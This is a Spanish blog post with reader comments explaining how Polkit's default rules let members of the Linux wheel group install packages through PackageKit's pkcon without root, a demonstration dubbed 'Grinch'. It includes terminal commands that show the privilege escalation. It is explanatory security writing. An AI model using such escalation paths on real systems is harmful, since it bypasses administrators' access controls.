Esta navidad vuelve el Grinch... para escalar privilegios en tu Linux

Llega la navidad y con ella vuelve el Grinch, esta vez como una vulnerabilidad en el nuevo sistema de autenticación de Linux que permite el escalado de privilegios a través de wheel

Ya sabéis que Wheel es un usuario especial que controla el acceso al comando su. Cuando instalamos un sistema Linux, el usuario por defecto es asignado al grupo Wheel para poder realizar tareas administrativas.

Los Linux modernos implementan nuevos métodos de autenticación y autorización para evitar una gran variedad de vectores de ataque introducidos con binarios setuid aleatorios. Polkit (Policy Kit), una API de autorización para los programas privilegiados, es uno de los principales impulsores para dejar de usar los binarios setuid.

Por otro lado, PackageKit es un conjunto de herramientas que permite una capa de abstracción (sobre D-BUS) para trabajar a través de sistemas de gestión de paquetes y arquitecturas. Es decir, intenta facilitar el uso de gestores como APT, Yum, pacman y otros. ¿Adivináis que backend utiliza para la autenticación de usuarios? Sí, utiliza Polkit.


Sigamos... En Fedora, puede que DNF o Yum no permita que un usuario específico pueda instalar paquetes, pero sin embargo las reglas polkit son independientes y podrían permitírselo. Sus reglas por defecto están escritas en simple javascript y permiten ser admin a cualquier usuario dentro del grupo Wheel. Por ejemplo:

/etc/polkit-1/rules.d/50-default.rules

/* -*- mode: js; js-indent-level: 4; indent-tabs-mode: nil -*- */
// DO NOT EDIT THIS FILE, it will be overwritten on update
//
// Default rules for polkit
//
// See the polkit(8) man page for more information
// about configuring polkit.

polkit.addAdminRule(function(action, subject) {
   return [“unix-group:wheel”];
});

Entonces resumiendo, los usuarios en el grupo wheel podrán realizar tareas administrativas en el sistema y ejecutar sudo. Esto significa que, abusando de los privilegios de este grupo wheel, no necesitaremos root o introducir la contraseña (si ejecutamos sudo) para realizar acciones que requieren privilegios.

Por ejemplo, vemos que un usuario dentro del grupo wheel no puede instalar un programa porque no es root:

]$ id
uid=1000(blahman) gid=1000(blahman) groups=1000(blahman),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

]$ Yum install cowsay
Loaded plugins: auto-update-debuginfo, langpacks, refresh-packagekit
You need to be root to perform this command.

Y dnf tampoco funciona por los permisos del filesystem:

]$ dnf install cowsay
Dependencies resolved.
…
Error: Unable to initialize yumdb history: [Errno 13] Permission denied: ‘//var/lib/dnf’

Pero si ejecutamos pkcon...

]$ pkcon install cowsay

Resolving                     [=========================]        
Querying                     [=========================]        
Testing changes               [=========================]        
Finished                     [=========================]        
Installing                   [=========================]        
Resolving dependencies       [=========================]        
Downloading packages         [=========================]        
Testing changes               [=========================]        
Installing packages          [=========================]        
Finished                     [=========================]    

]$ cowsay got root?
______________
< got root? >
———–
       \   ^__^
         \ (oo)\_______
           (__)\       )\/\
               ||—-w |
               ||     ||

Fuente: https://www.alertlogic.com/blog/dont-let-grinch-steal-christmas/

3 comentarios :

  1. Mi Arch tambien es vulnerable :(
    te pide un pass pero es el del usuario con el que ejecutas el comando
    pkexec comando
    ej: pkexec pacman -Syy
    Saludos

    ResponderEliminar
    Respuestas
    1. el grupo wheel solo para users admin

      Eliminar
    2. Ya, pero los usuarios normales tienen que hacer ciertas tareas administrativas como por ej. ajustar la hora del sistema, cambiar el idioma, etc. Ahora abandonamos los bit setuid y utilizamos una nueva api de control que está empezando a "cocinarse" y, como todo, tiene que mejorar... ;)

      Saludos!

      Eliminar